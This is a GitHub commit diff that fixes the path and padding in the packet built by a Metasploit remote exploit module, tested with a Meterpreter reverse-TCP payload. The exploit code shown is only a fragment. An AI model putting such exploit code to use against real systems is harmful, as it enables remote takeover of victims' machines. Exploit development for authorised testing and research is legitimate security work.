Fix issue generate/launch path

Generate file in C:\ but try to launch it in Documents and Settings\All Users\Application Data\7T\
PoC with windows/meterpreter/reverse_tcp
bug/bundler_fix
syndrome5 2017-07-04 22:14:32 +02:00 committed by GitHub
parent aceeedc895
commit 45af651993
1 changed files with 2 additions and 2 deletions

View File

@ -117,8 +117,8 @@ class MetasploitModule < Msf::Exploit::Remote
pkt << "\x00\x00"
pkt << "\x0A"
pkt << "\x00"*31
pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
pkt << "\x00"*143
pkt << "#{base}#{filename}\""
pkt << "\x00"*163 #only for 1 caracter + .exe (i.exe for example)
return pkt
end